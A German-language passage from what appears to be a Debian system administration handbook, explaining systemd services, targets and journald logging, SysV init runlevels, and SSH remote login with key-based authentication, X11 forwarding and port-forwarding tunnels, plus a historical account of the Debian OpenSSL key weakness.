Systemd führt mehrere Prozesse aus, die für die Einrichtung des Systems verantwortlich sind: Tastatur, Treiber, Dateisysteme, Netzwerk, Dienste. Dabei behält er den Überblick über das Gesamtsystem und die Anforderungen der Komponenten. Jede Komponente wird durch eine "Unit-Datei" (manchmal auch mehrere) beschrieben; die allgemeine Syntax ergibt sich aus der weit verbreiteten "*.ini Dateien" Syntax, mit key = value Paare gruppiert zwischen [section] headers. Unit-Dateien werden unter /lib/system/system/ und /etc/systemd/system/ gespeichert; es gibt sie in verschiedenen Varianten, aber wir werden uns hier auf "services" und "targets" konzentrieren.

Eine systemd "Servicedatei" beschreibt einen von systemd verwalteten Prozess. Es enthält ungefähr die gleichen Informationen wie die alten Initskripte, jedoch in einer deklaratorischen (und viel prägnanteren) Form. Systemd übernimmt den Großteil der sich wiederholenden Aufgaben (Starten und Stoppen des Prozesses, Prüfen seines Status, Protokollieren, Löschen von Berechtigungen, usw.) und die Servicedatei muss nur die Besonderheiten des Prozesses ausfüllen. Hier ist zum Beispiel die Servicedatei für SSH:

[Unit]
Description=OpenBSD Secure Shell server
After=network.target auditd.service
ConditionPathExists=!/etc/ssh/sshd_not_to_be_run

[Service]
EnvironmentFile=-/etc/default/ssh
ExecStart=/usr/sbin/sshd -D $SSHD_OPTS
ExecReload=/bin/kill -HUP $MAINPID
KillMode=process
Restart=on-failure

[Install]
WantedBy=multi-user.target
Alias=sshd.service

Wie Sie sehen können, gibt es dort sehr wenig Code, nur Deklarationen. Systemd kümmert sich um die Anzeige von Fortschrittsberichten, verfolgt die Prozesse und startet sie bei Bedarf sogar neu.

Eine systemd "Target-Datei" beschreibt einen Zustand des Systems, in dem ein Satz von Diensten als funktionsfähig bekannt ist. Es kann als Äquivalent zum alten Runlevel angesehen werden. Eines der Targets ist local-fs.target; wenn es erreicht ist, kann der Rest des Systems davon ausgehen, dass alle lokalen Dateisysteme eingebunden und zugänglich sind. Andere Targets sind network-online.target und sound.target. Die Abhängigkeiten eines Ziels können entweder innerhalb der Zieldatei (in der Zeile Requires=) oder über einen symbolischen Link auf eine Servicedatei im Verzeichnis /lib/systemd/system/Targetname.target.wants/ aufgelistet werden. Zum Beispiel enthält /etc/systemd/system/printer.target.wants/ einen Link zu /lib/systemd/system/cups.service; systemd wird daher sicherstellen, dass CUPS läuft, um printer.target zu erreichen.

Da Unit-Dateien, anders als als Skripte oder Programme, eher deklarativ sind, können sie nicht direkt ausgeführt werden und werden von systemd nur interpretiert. Mehrere Dienstprogramme erlauben es dem Administrator daher, mit systemd zu interagieren und den Zustand des Systems und jeder Komponente zu kontrollieren.

Das erste derartige Dienstprogramm ist systemctl. Wenn es ohne Argumente ausgeführt wird, listet es alle dem System bekannten Unit-Dateien (mit Ausnahme derjenigen, die deaktiviert wurden) sowie deren Status auf. systemctl status gibt einen besseren Überblick über die Dienste und die damit verbundenen Prozesse. Wenn der Name eines Dienstes angegeben wird (wie in systemctl status ntp.service), gibt er noch mehr Details zurück, sowie die letzten Log-Zeilen, die sich auf den Dienst beziehen (mehr dazu später).

Das Starten eines Dienstes von Hand ist einfach das Starten von systemctl start servicename.service. Wie man leicht erraten kann, wird der Dienst mit systemctl stop servicename.service beendet; andere Unterbefehle beinhalten reload und restart.

Um zu steuern, ob ein Dienst aktiv ist (d.h. ob er beim Booten automatisch gestartet wird), verwenden Sie systemctl enable servicename.service (oder disable). is-enabled ermöglicht die Überprüfung des Status des Dienstes.

Eine interessante Eigenschaft von systemd ist, dass es eine Protokollierungskomponente namens journald enthält. Es ist eine Ergänzung zu herkömmlichen Protokollierungssystemen wie syslogd, aber es fügt interessante Funktionen hinzu, wie eine formale Verbindung zwischen einem Dienst und den von ihm erzeugten Nachrichten und die Fähigkeit, Fehlermeldungen zu erfassen, die durch seine Initialisierungssequenz erzeugt werden. Die Meldungen können später mit Hilfe des Befehls journalctl angezeigt werden. Ohne Argumente spuckt es einfach alle Logmeldungen aus, die seit dem Systemstart aufgetreten sind; es wird selten so verwendet. Meistens wird es mit einer Service-Kennung verwendet:

# journalctl -u ssh.service
-- Logs begin at Tue 2015-03-31 10:08:49 CEST, end at Tue 2015-03-31 17:06:02 CEST. --
Mar 31 10:08:55 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.
Mar 31 10:08:55 mirtuel sshd[430]: Server listening on :: port 22.
Mar 31 10:09:00 mirtuel sshd[430]: Received SIGHUP; restarting.
Mar 31 10:09:00 mirtuel sshd[430]: Server listening on 0.0.0.0 port 22.
Mar 31 10:09:00 mirtuel sshd[430]: Server listening on :: port 22.
Mar 31 10:09:32 mirtuel sshd[1151]: Accepted password for roland from 192.168.1.129 port 53394 ssh2
Mar 31 10:09:32 mirtuel sshd[1151]: pam_unix(sshd:session): session opened for user roland by (uid=0)

Ein weiterer nützlicher Kommandozeilenparameter ist -f, der journalctl anweist, neue Nachrichten so anzuzeigen, wie sie ausgegeben werden (ziemlich so wie tail -f file).

Wenn ein Dienst nicht wie erwartet funktioniert, ist der erste Schritt zur Lösung des Problems die Überprüfung, ob der Dienst tatsächlich läuft: systemctl status. Wenn dies nicht der Fall ist und die Meldungen des ersten Befehls nicht ausreichen, um das Problem zu diagnostizieren, überprüfen Sie die von journald über diesen Dienst gesammelten Protokolle. Angenommen, der SSH-Server funktioniert nicht:

# systemctl status ssh.service
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled)
Active: failed (Result: start-limit) since Tue 2015-03-31 17:30:36 CEST; 1s ago
Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)
Process: 1188 ExecStart=/usr/sbin/sshd -D $SSHD_OPTS (code=exited, status=255)
Main PID: 1188 (code=exited, status=255)

Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.
Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
# journalctl -u ssh.service
-- Logs begin at Tue 2015-03-31 17:29:27 CEST, end at Tue 2015-03-31 17:30:36 CEST. --
Mar 31 17:29:27 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.
Mar 31 17:29:27 mirtuel sshd[424]: Server listening on :: port 22.
Mar 31 17:29:29 mirtuel sshd[424]: Received SIGHUP; restarting.
Mar 31 17:29:29 mirtuel sshd[424]: Server listening on 0.0.0.0 port 22.
Mar 31 17:29:29 mirtuel sshd[424]: Server listening on :: port 22.
Mar 31 17:30:10 mirtuel sshd[1147]: Accepted password for roland from 192.168.1.129 port 38742 ssh2
Mar 31 17:30:10 mirtuel sshd[1147]: pam_unix(sshd:session): session opened for user roland by (uid=0)
Mar 31 17:30:35 mirtuel sshd[1180]: /etc/ssh/sshd_config line 28: unsupported option "yess".
Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a
Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:35 mirtuel sshd[1182]: /etc/ssh/sshd_config line 28: unsupported option "yess".
Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a
Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:35 mirtuel sshd[1184]: /etc/ssh/sshd_config line 28: unsupported option "yess".
Mar 31 17:30:35 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a
Mar 31 17:30:35 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel sshd[1186]: /etc/ssh/sshd_config line 28: unsupported option "yess".
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel sshd[1188]: /etc/ssh/sshd_config line 28: unsupported option "yess".
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service: main process exited, code=exited, status=255/n/a
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
Mar 31 17:30:36 mirtuel systemd[1]: ssh.service start request repeated too quickly, refusing to start.
Mar 31 17:30:36 mirtuel systemd[1]: Failed to start OpenBSD Secure Shell server.
Mar 31 17:30:36 mirtuel systemd[1]: Unit ssh.service entered failed state.
# vi /etc/ssh/sshd_config
# systemctl start ssh.service
# systemctl status ssh.service
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; enabled)
Active: active (running) since Tue 2015-03-31 17:31:09 CEST; 2s ago
Process: 1023 ExecReload=/bin/kill -HUP $MAINPID (code=exited, status=0/SUCCESS)
Main PID: 1222 (sshd)
CGroup: /system.slice/ssh.service
└─1222 /usr/sbin/sshd -D
#

Nachdem wir den Status des Dienstes überprüft haben (failed), haben wir die Protokolle überprüft; sie zeigen einen Fehler in der Konfigurationsdatei an. Nachdem wir die Konfigurationsdatei bearbeitet und den Fehler behoben haben, starten wir den Dienst neu und überprüfen, ob er tatsächlich läuft.

WEITERE SCHRITTE Andere Arten von Unit-Dateien

Wir haben in diesem Abschnitt nur die grundlegendsten Fähigkeiten von systemd beschrieben. Es bietet viele weitere interessante Funktionen; wir werden hier nur einige aufzählen:

- Socket-Aktivierung: eine "Socket"-Unitdatei kann verwendet werden, um einen von systemd verwalteten Netzwerk-Socket oder Unix-Socket zu beschreiben; dies bedeutet, dass der Socket von systemd erstellt wird und der eigentliche Dienst bei Bedarf gestartet werden kann, wenn ein tatsächlicher Verbindungsversuch erfolgt. Dies bildet grob den Funktionsumfang von inetd nach. Siehe systemd.socket(5).

- Timer: Eine "Timer"-Unitdatei beschreibt Ereignisse, die mit einer festen Frequenz oder zu bestimmten Zeiten auftreten; wenn ein Dienst mit einem solchen Timer verknüpft ist, wird die entsprechende Aufgabe ausgeführt, sobald der Timer ausgelöst wird. Dies erlaubt das Nachbilden eines Teils der Fähigkeiten von cron. Siehe systemd.timer(5).

- network: Eine "network"-Unitdatei beschreibt eine Netzwerkschnittstelle, die es erlaubt, solche Schnittstellen zu konfigurieren und auszudrücken, dass ein Dienst von einer bestimmten Schnittstelle abhängt.

9.1.2. Das System V Initialisierungssystem

Das System V init System (das wir init für Kürze nennen werden) führt mehrere Prozesse aus, indem es Anweisungen aus der Datei /etc/inittab befolgt. Das erste Programm, das ausgeführt wird (was dem Schritt sysinit entspricht), ist /etc/init.d/rcS, ein Skript, das alle Programme im Verzeichnis /etc/rcS.d/ ausführt.

Unter diesen befinden sich nacheinander Programme, die zuständig sind für:

- das Konfigurieren der Konsolentastatur;

- das Laden von Treibern: die meisten Kernelmodule werden beim Erkennen der Hardware vom Kernel selbst geladen; zusätzliche Treiber werden selbsttätig geladen, wenn die entsprechenden Module in der Datei /etc/modules aufgeführt sind;

- die Integritätsprüfung von Dateisystemen;

- das Einhängen lokaler Partitionen;

- das Konfigurieren des Netzwerks;

- das Einhängen von Netzwerkdateisystemen (NFS).

ZURÜCK ZU DEN GRUNDLAGEN Kernelmodule und -optionen

Kernelmodule verfügen ebenfalls über Optionen, die konfiguriert werden können, indem man Dateien im Verzeichnis /etc/modprobe.d/ erstellt. Diese Optionen werden durch Anweisungen wie die folgende festgelegt: options modulname optionsname=optionswert. Falls erforderlich, können mehrere Optionen in einer einzelnen Anweisung gesetzt werden.

Die Konfigurationsdateien sind für das Programm modprobe bestimmt, das ein Kernelmodul mit seinen Abhängigkeiten lädt (Module können auch andere Module aufrufen). Dieses Programm wird durch das Paket kmod bereitgestellt.

Nach dieser Phase übernimmt init und startet die im Standard-Runlevel (der normalerweise Runlevel 2 ist) aktivierten Programme. Es führt /etc/init.d/rc 2 aus, ein Skript, das alle Dienste startet, die in /etc/rc2.d/ aufgeführt sind und mit dem Buchstaben „S“ beginnen. Die anschließenden zweistelligen Zahlen wurden früher dazu benutzt, die Reihenfolge festzulegen, in der die Dienste gestartet werden mussten, aber heute verwendet das Standard-Bootsystem insserv, das ausgehend von den Abhängigkeiten der Skripten alles selbsttätig zeitlich festlegt. Jedes Boot-Skript legt die Bedingungen fest, die gelten müssen, damit ein Dienst gestartet oder beendet wird (ob er zum Beispiel vor oder nach einem anderen Dienst gestartet werden muss); init startet sie dann in der Reihenfolge, die diese Bedingungen erfüllt. Die feststehende Nummerierung der Skripten wird daher nicht mehr berücksichtigt (sie müssen trotzdem weiterhin einen Namen haben, der mit „S“ beginnt gefolgt von zwei Zahlen und dem Namen des Skripts, das für die Abhängigkeiten verwendet wird). Im Allgemeinen werden grundlegende Dienste (wie das Protokollieren mit rsyslog oder die Portzuweisung mit portmap) als erste gestartet, gefolgt von Standarddiensten und der grafischen Schnittstelle (gdm3).

Dieses Bootsystem auf der Grundlage von Abhängigkeiten ermöglicht es, die Neu-Nummerierung zu automatisieren, die recht mühsam wäre, wenn sie von Hand erledigt werden müsste, und es begrenzt das Risiko menschlichen Versagens, da die Festlegung der zeitlichen Abfolge in Übereinstimmung mit den angegebenen Parametern erfolgt. Ein weiterer Vorteil besteht darin, dass voneinander unabhängige Dienste zeitgleich gestartet werden können, was den Prozess des Hochfahrens beschleunigt.

init unterscheidet zwischen verschiedenen Runleveln, so dass es mit dem Befehl telinit neuer-level von einem zum anderen umschalten kann. init führt bei einem neuen Runlevel unmittelbar ein weiteres Mal /etc/init.d/rc aus. Dieses Skript startet dann die fehlenden Dienste und beendet die nicht mehr benötigten. Hierzu bezieht es sich auf den Inhalt der Datei /etc/rcX.d (wobei X den neuen Runlevel bezeichnet). Skripten, deren Namen mit „S“ beginnen (wie in „Start“), verweisen auf zu startende Dienste, solche mit „K“ (wie in „Kill“) auf zu beendende. Das Skript startet keine Dienste, die im vorherigen Runlevel bereits aktiv waren.

Standardmäßig verwendet System V init in Debian vier verschiedene Runlevel:

- Level 0 wird nur vorübergehend beim Herunterfahren des Rechners benutzt. Daher enthält er nur zahlreiche „K“-Skripten.

- Level 1, auch Single-User Modus genannt, entspricht dem System in rudimentärem Zustand. Er umfasst einzig grundlegende Dienste und ist hauptsächlich für die Systemwartung gedacht, bei dem Interaktionen mit normalen Benutzern nicht erwünscht sind.

- Level 2 ist der Level für den Normalbetrieb, der Netzwerkdienste, eine grafische Schnittstelle, Benutzeranmeldungen usw. umfasst.

- Level 6 gleicht Level 0, nur dass er während des Herunterfahrens vor einem Neustart verwendet wird.

Es gibt weitere Level, insbesondere 3 bis 5. Standardmäßig sind sie so konfiguriert, dass sie sich wie Level 2 verhalten. Jedoch kann der Administrator sie verändern (indem er in den entsprechenden Verzeichnissen unter /etc/rcX.d Skripten hinzufügt oder löscht), um sie so besonderen Bedürfnissen anzupassen.

Abbildung 9.2. Boot-Sequenz eines Rechners, auf dem Linux mit System V init läuft

Alle in den verschiedenen Verzeichnissen unter /etc/rcX.d enthaltenen Skripten sind in Wirklichkeit symbolische Verknüpfungen - bei der Paketinstallation durch das Programm update-rc.d erstellt, die auf die eigentlichen, im Verzeichnis /etc/init.d/ gespeicherten, Skripten verweisen. Der Administrator kann die in jedem Runlevel verfügbaren Dienste fein einstellen, indem er den Befehl update-rc.d mit angepassten Parametern erneut ausführt. Die Handbuchseite update-rc.d(1) erläutert die Syntax im Detail. Bitte beachten Sie, dass das Entfernen aller symbolischen Verknüpfungen (mit dem Parameter remove) kein gutes Verfahren zum Abschalten eines Dienstes ist. Stattdessen sollten Sie ihn einfach so konfigurieren, dass er in dem gewünschten Runlevel nicht startet (und dabei gleichzeitig die entsprechenden Aufrufe zu seinem Abschalten bewahren, für den Fall, dass er im vorhergehenden Runlevel läuft). Da update-rc.d eine etwas verschachtelte Schnittstelle hat, benutzen Sie vielleicht lieber rcconf (aus dem Paket rcconf), das eine benutzerfreundlichere Schnittstelle hat.

DEBIAN-RICHTLINIEN Dienste neu starten

Die Betreuerskripten für Debian-Pakete starten manchmal bestimmte Dienste neu, um ihre Verfügbarkeit sicherzustellen, oder damit sie bestimmte Optionen berücksichtigen. Der Befehl zur Steuerung eines Dienstes - servicedienst vorgang - berücksichtigt Runlevel nicht, geht (fälschlicherweise) davon aus, dass der Dienst gerade benutzt wird und kann daher falsche Vorgänge auslösen (einen Dienst starten, der bewusst abgeschaltet worden war, einen Dienst anhalten, der bereits angehalten ist usw.). Deshalb hat Debian das Programm invoke-rc.d eingeführt: dieses Programm muss von Betreuerskripten verwendet werden, um Initialisierungsskripten für Dienste aufzurufen und führt nur die erforderlichen Befehle aus. Man beachte, dass das Suffix .d hier, im Gegensatz zu seiner sonst üblichen Verwendung, in einem Programmnamen und nicht in einem Verzeichnis benutzt wird.

Schließlich startet init Steuerprogramme für mehrere virtuelle Konsolen (getty). Es zeigt eine Eingabeaufforderung an, an der es auf einen Benutzernamen wartet, und führt dann login benutzer aus, um eine Sitzung zu starten.

WÖRTERVERZEICHNIS Konsole und Terminal

Die ersten Computer waren gewöhnlich in mehrere, sehr große Teile unterteilt: das Speichergehäuse und die zentrale Verarbeitungseinheit waren von den Peripheriegeräten getrennt, die von den Bedienern zu ihrer Steuerung benutzt wurden. Letztere waren Teil einer separaten Einrichtung, der „Konsole“. Dieser Begriff wurde beibehalten, aber seine Bedeutung hat sich verändert. Er wurde mehr oder weniger zu einem Synonym für „Terminal“, das aus einer Tastatur und einem Bildschirm besteht.

Im Laufe der Entwicklung der Computer haben Betriebssysteme schließlich mehrere virtuelle Konsolen angeboten, um gleichzeitig mehrere unabhängige Sitzungen zu ermöglichen, selbst wenn es nur eine Tastatur und einen Bildschirm gibt. Die meisten GNU/Linux-Systeme bieten sechs virtuelle Konsolen (im Textmodus) an, die durch die Eingabe der Tastenkombinationen Control+Alt+F1 bis Control+Alt+F6 zugänglich sind.

Im weiteren Sinne können die Begriffe „Konsole“ und „Terminal“ sich auch auf einen Terminal-Emulator in einer grafischen X11-Sitzung beziehen (wie zum Beispiel xterm, gnome-terminal oder konsole).

9.2. Remoteanmeldung

Es ist für einen Administrator wichtig, sich aus der Ferne mit einem Rechner verbinden zu können. Server, die in ihrem eigenen Raum eingeschlossen sind, sind selten dauerhaft mit Tastaturen und Bildschirmen ausgestattet - aber sie sind mit dem Netzwerk verbunden.

ZURÜCK ZU DEN GRUNDLAGEN Client, Server

Ein System, bei dem mehrere Prozesse miteinander kommunizieren. wird häufig mit dem bildlichen Ausdruck „Client-Server“ beschrieben. Der Server ist das Programm, das Anfragen vom Client entgegen nimmt und ausführt. Der Client steuert die Vorgänge, der Server tut nichts aus eigener Initiative.

9.2.1. Sicheres Remoteanmelden: SSH

Beim SSH-Protokoll (Secure SHell) wurden Sicherheit und Zuverlässigkeit bereits im Entwurf berücksichtigt. Verbindungen auf der Basis von SSH sind sicher: der Partner ist authentifiziert und jeglicher Datenverkehr erfolgt verschlüsselt.

KULTUR Telnet und RSH sind veraltet

Vor SSH waren Telnet und RSH die wesentlichen Werkzeuge um sich aus der Ferne anzumelden. Heute sind sie weitestgehend überflüssig und sollten nicht weiter benutzt werden, auch wenn Debian sie immer noch zur Verfügung stellt.

WÖRTERVERZEICHNIS Authentifizierung, Verschlüsselung

Wenn Sie einem Client die Fähigkeit geben müssen, auf einem Server Aktionen auszuführen oder auszulösen, ist Sicherheit wichtig. Sie müssen die Identität des Clients sicherstellen; dies nennt sich Authentifizierung. Die Identität besteht normalerweise aus einem Passwort, das geheimzuhalten ist, da es sonst von jedem anderen Client erlangt werden könnte. Dies ist der Zweck von Verschlüsselung, einer Art der Kodierung, die es zwei Systemen ermöglicht, vertrauliche Informationen über einen öffentlichen Kanal auszutauschen, ohne dabei für andere lesbar zu sein.

Authentifizierung und Verschlüsselung werden häufig zusammen genannt, weil beide oft gleichzeitig benutzt werden, und weil sie gewöhnlich durch ähnliche mathematische Konzepte umgesetzt werden.

SSH bietet auch zwei Dateiübertragungsdienste an. scp ist ein Befehlszeilenprogramm, das wie cp benutzt werden kann, nur dass jedem Pfad zu einem anderen Rechner der Name dieses Rechners gefolgt von einem Doppelpunkt vorangestellt wird.

$ scp file machine:/tmp/

sftp ist ein interaktiver Befehl, ähnlich wie ftp. In einer einzigen Sitzung kann sftp mehrere Dateien übertragen, und es ist möglich, mit ihm Dateien auf einem entfernten Rechner zu bearbeiten (löschen, umbenennen, Berechtigungen ändern usw.).

Debian verwendet OpenSSH, eine freie Version von SSH, die vom OpenBSD-Projekt betreut wird (einem freien Betriebssystem, das auf dem BSD-Kernel aufbaut und seinen Schwerpunkt auf Sicherheit setzt) und ist ein Fork der ursprünglich vom finnischen Unternehmen SSH Communications Security Corp. entwickelten SSH-Software. Dieses Unternehmen entwickelte SSH ursprünglich als freie Software, entschied sich jedoch schließlich, seine Entwicklung unter einer proprietären Lizenz fortzusetzen. Das OpenBSD-Projekt schuf daraufhin OpenSSH, um eine freie Version von SSH zu bewahren.

ZURÜCK ZU DEN GRUNDLAGEN Fork

Ein „Fork“ im Softwarebereich ist ein neues Vorhaben, das als Klon eines bestehenden Vorhabens beginnt und mit ihm konkurriert. Von da an entwickeln sich beide Programme, was neue Entwicklungen angeht, gewöhnlich schnell auseinander. Ein Fork ist häufig die Folge von Meinungsverschiedenheiten innerhalb des Entwicklungsteams.

Die Option, ein Vorhaben zu forken, ist eine direkte Folge der Eigenart freier Software; ein Fork ist ein heilsamer Vorgang, wenn sie die Fortführung eines Vorhabens als freie Software ermöglicht (zum Beispiel im Falle von Lizenzänderungen). Dagegen ist ein Fork, der sich aus technischen oder persönlichen Meinungsverschiedenheiten ergibt, häufig eine Verschwendung menschlicher Ressourcen; eine andere Lösung wäre vorzuziehen. Auch der Zusammenschluss zweier Vorhaben, die früher durch einen Fork gegangen sind, ist nicht gänzlich unbekannt.

OpenSSH ist in zwei Pakete aufgeteilt: der Client-Teil befindet sich im Paket openssh-client und der Server-Teil im Paket openssh-server. Das Metapaket ssh ist von beiden Teilen abhängig und erleichtert die Installation beider (apt install ssh).

9.2.1.1. Schlüsselbasierte Authentifizierung

Jedes Mal, wenn sich jemand über SSH anmeldet, fragt der entfernte Server nach einem Passwort zur Authentifizierung des Benutzers. Dies kann problematisch sein, wenn man eine Verbindung automatisieren möchte, oder wenn man ein Hilfsprogramm verwendet, das häufige Verbindungen über SSH benötigt. Daher bietet SSH ein schlüsselbasiertes Authentifizierungssystem.

Der Benutzer erzeugt auf dem Client-Rechner mit dem Befehl ssh-keygen -t rsa ein neues Schlüsselpaar; der öffentliche Schlüssel wird in der Datei ~/.ssh/id_rsa.pub gespeichert und der dazugehörige private Schlüssel in ~/.ssh/id_rsa. Der Benutzer verwendet dann den Befehl ssh-copy-id server, um seinen öffentlichen Schlüssel auf dem Server zur Datei ~/.ssh/authorized_keys hinzuzufügen. Falls der private Schlüssel zur Zeit seiner Erzeugung nicht mit einer „Passphrase“ geschützt wurde, funktionieren alle nachfolgenden Anmeldungen auf dem Server ohne Eingabe eines Passworts. Anderenfalls muss der private Schlüssel jedes Mal erneut unter Eingabe der Passphrase entschlüsselt werden. Glücklicherweise ermöglicht es das Programm ssh-agent, private Schlüssel im Speicher zu halten, so dass das Passwort nicht ständig neu eingegeben werden muss. Hierzu verwendet man einfach (einmal pro Sitzung) den Befehl ssh-add, wobei Voraussetzung ist, dass die Sitzung bereits einer funktionsfähigen Instanz von ssh-agent zugeordnet ist. Debian aktiviert dieses Programm standardmäßig beim Start einer grafischen Sitzung, es kann jedoch durch eine Änderung der Datei /etc/X11/Xsession.options deaktiviert sein. In einer Konsolensitzung kann es manuell mit dem Befehl eval $(ssh-agent) gestartet werden.

SICHERHEIT Schutz des privaten Schlüssels

Wer im Besitz des privaten Schlüssels ist, kann sich mit dem entsprechend konfigurierten Konto anmelden. Daher ist der Zugriff auf den privaten Schlüssel durch eine „Passphrase“ geschützt. Selbst wenn jemand in den Besitz eines privaten Schlüssels gelangt (zum Beispiel die Datei ~/.ssh/id_rsa), muss er zusätzlich noch diese Phrase kennen, um ihn verwenden zu können. Dieser zusätzliche Schutz ist jedoch nicht unüberwindlich, und wenn Sie denken, dass die Sicherheit dieser Datei nicht mehr gewährleistet ist, sollten Sie diesen Schlüssel auf den Rechnern, auf denen er installiert wurde, deaktivieren (indem Sie ihn aus authorized_keys entfernen) und durch einen neu erzeugten Schlüssel ersetzen.

KULTUR OpenSSL-Schwachstelle in Debian Etch

Die OpenSSL-Bibliothek, die ursprünglich mit Debian Etch bereitgestellt wurde, hatte ein gravierendes Problem in ihrem Zufallszahlengenerator (RNG). In der Tat hatte der zuständige Debian-Betreuer eine Änderung vorgenommen, damit Anwendungen, die ihn verwenden, keine Warnmeldungen mehr verursachen, wenn sie von Werkzeugen für das Memory Management wie zum Beispiel valgrind analysiert werden. Leider hatte diese Änderung auch zur Folge, dass der Zufallszahlengenerator nur eine Entropie-Quelle in Abhängigkeit von der Prozesskennung (PID) benutzte, deren 32.000 mögliche Werte keinen ausreichenden Grad an Zufälligkeit boten.

→ http://www.debian.org/security/2008/dsa-1571

Insbesondere, wenn OpenSSL benutzt wurde, um einen Schlüssel zu erzeugen, wurde dieser immer aus einem Satz einiger hunderttausend Schlüssel erstellt (32.000 multipliziert mit einer kleinen Zahl von Schlüssellängen). Hiervon waren SSH-Schlüssel, SSL-Schlüssel und von zahlreichen Anwendungen, wie zum Beispiel OpenVPN, verwendete X.509-Zertifikate betroffen. Ein Eindringling brauchte nur alle Schlüssel auszuprobieren, um unberechtigten Zugriff zu erlangen. Um die Auswirkung des Problems einzuschränken, wurde der SSH-Daemon dahingehend verändert, dass er zweifelhafte Schlüssel, die in den Paketen openssh-blacklist und openssh-blacklist-extra aufgelistet sind, zurückweist. Darüber hinaus ermöglicht es der Befehl ssh-vulnkey, möglicherweise gefährdete Schlüssel im System zu identifizieren.

Eine gründlichere Analyse dieses Vorfalls zeigt, dass er das Ergebnis mehrerer (kleiner) Probleme ist, sowohl innerhalb des OpenSSL-Projekts als auch mit dem Debian-Paketbetreuer. Eine weit verbreitete Bibliothek wie OpenSSL sollte - ohne Änderungen - keine Warnungen erzeugen, wenn sie mit valgrind getestet wird. Außerdem sollte der Code (insbesondere die so empfindlichen Teile wie der RNG) besser kommentiert werden, um solche Fehler zu vermeiden. Auf Debians Seite wollte der Betreuer die Änderungen mit den OpenSSL-Entwicklern validieren, erklärte aber einfach die Änderungen, ohne den entsprechenden Patch zur Verfügung zu stellen, und versäumte es, seine Rolle in Debian zu erwähnen. Schließlich waren die Wartungsoptionen suboptimal: die Änderungen am Originalcode wurden nicht eindeutig dokumentiert; alle Änderungen wurden effektiv in einem Subversion-Repository gespeichert, aber sie endeten alle in einem einzigen Patch während der Erstellung des Quellpakets.

Es ist unter diesen Umständen schwierig, Korrekturmaßnahmen zu finden, die solche Vorfälle in Zukunft verhindern. Die Lehre, die hieraus gezogen werden kann, ist, dass jede Abweichung, die Debian in Ursprungssoftware einführt, begründet, dokumentiert, möglichst dem Urspungsprojekt vorgelegt und breit veröffentlicht werden muss. Unter diesem Gesichtspunkt wurden das neue Quellpaket-Format („3.0 (quilt)“) und die Debian Quellen Webseite entwickelt.

→ http://sources.debian.net

9.2.1.2. Entfernte X11-Anwendungen benutzen

Das SSH-Protokoll ermöglicht die Weiterleitung grafischer Daten („X11“-Sitzung, nach dem Namen des am weitesten verbreiteten grafischen Systems in Unix); der Server stellt hierbei einen besonderen Kanal für diese Daten bereit. Konkret bedeutet dies, dass ein aus der Ferne ausgeführtes, grafisches Programm vom X.org-Server auf dem lokalen Bildschirm dargestellt werden kann, und dass die gesamte Sitzung (Eingabe und Anzeige) abgesichert ist. Da entfernte Anwendungen durch diese Funktion das lokale System beeinträchtigen können, ist sie standardmäßig deaktiviert. Sie kann aktiviert werden, indem man in der Serverkonfigurationsdatei (/etc/ssh/sshd_config) die Option X11Forwarding yes einstellt. Schließlich muss der Benutzer diese Funktion anfordern, indem er die Option -X zur Befehlszeile ssh hinzufügt.

9.2.1.3. Verschlüsselte Tunnel mit Port-Weiterleitung einrichten

Die Optionen -R und -L des Befehls ssh ermöglichen es, „verschlüsselte Tunnel“ zwischen zwei Rechnern zu erstellen, und so einen lokalen TCP-Port (siehe ZURÜCK ZU DEN GRUNDLAGEN TCP/UDP in der Seitenleiste) sicher an einen entfernten Rechner weiterzuleiten und umgekehrt.

WÖRTERVERZEICHNIS Tunnel

Das Internet und die meisten mit ihm verbundenen LANs arbeiten im Paket-Modus und nicht in einem fest geschalteten Modus. Das heißt, dass ein Paket, das von einem Rechner zu einem anderen verschickt wird, auf dem Weg zu seinem Ziel an mehreren dazwischenliegenden Routern angehalten wird. Dennoch kann man einen fest geschalteten Betrieb nachahmen, indem der Datenstrom in normale IP-Pakete eingeschlossen wird. Diese Pakete laufen über ihren üblichen Weg, jedoch wird der Datenstrom am Ziel dann unverändert rekonstruiert. Man nennt dies einen „Tunnel“ in Analogie zu einem Straßentunnel, bei dem Fahrzeuge direkt vom Eingang (Eingabe) zum Ausgang (Ausgabe) fahren, ohne auf irgendwelche Kreuzungen zu stoßen, im Gegensatz zu einem Weg an der Oberfläche, bei dem es Kreuzungen und Richtungswechsel gibt.

Man kann bei dieser Gelegenheit den Tunnel verschlüsseln: der Datenstrom, der durch ihn hindurchläuft, ist dann von außen unkenntlich, wird aber am Tunnelausgang wieder in eine unverschlüsselte Form zurückgeführt.

ssh -L 8000:server:25 intermediary eröffnet eine SSH-Sitzung mit dem Host intermediary und nimmt am lokalen Port 8000 Verbindungen an (siehe Abbildung 9.3, „Einen lokalen Port mit SSH weiterleiten“). Für jede Verbindung, die zu diesem Port hergestellt wird, baut ssh eine Verbindung vom Rechner intermediary zum Port 25 des server auf und verknüpft beide Verbindungen.

